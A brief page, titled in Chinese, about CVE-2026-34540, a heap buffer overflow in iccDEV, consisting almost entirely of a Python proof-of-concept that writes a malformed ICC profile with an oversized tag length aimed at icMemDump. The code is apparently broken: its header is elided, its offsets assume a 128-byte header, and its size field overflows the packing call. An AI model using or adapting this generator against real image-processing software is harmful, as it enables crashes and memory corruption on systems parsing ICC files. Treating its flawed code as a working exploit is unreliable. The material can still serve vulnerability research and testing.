CVE-2026-34540 iccDEV堆缓冲区溢出漏洞

import struct # CVE-2026-34540 PoC Generator # This script generates a crafted ICC profile that may trigger the heap buffer overflow in iccDEV. # ICC Profile Header (simplified) header = b"\x00\x00\x00\x00" # Profile size (placeholder) header += b"acsp" # CMM type signature header += b"\x00\x00\x00\x00" # Profile version # ... (rest of standard header fields) # Create a malformed tag. The vulnerability occurs in icMemDump when dumping malformed tags. # We will craft a tag entry pointing to invalid data or with a size that causes overflow. tag_count = 1 tag_table = b"" tag_signature = b"desc" offset_to_data = 128 + 4 + (tag_count * 12) # Offset after header and tag count and table tag_size = 0xFFFFFFFF # Excessive size to trigger overflow in icMemDump tag_table += tag_signature tag_table += struct.pack(">I", offset_to_data) tag_table += struct.pack(">I", tag_size) # Assemble the profile profile_size = len(header) + 4 + len(tag_table) + tag_size header = struct.pack(">I", profile_size) + header[4:] # Update size payload = header + struct.pack(">I", tag_count) + tag_table payload += b"A" * 100 # Minimal data padding filename = "cve_2026_34540_poc.icc" with open(filename, "wb") as f: f.write(payload) print(f"POC file generated: {filename}") print("Usage: Load this file with a vulnerable version of iccDEV using iccDumpProfile.")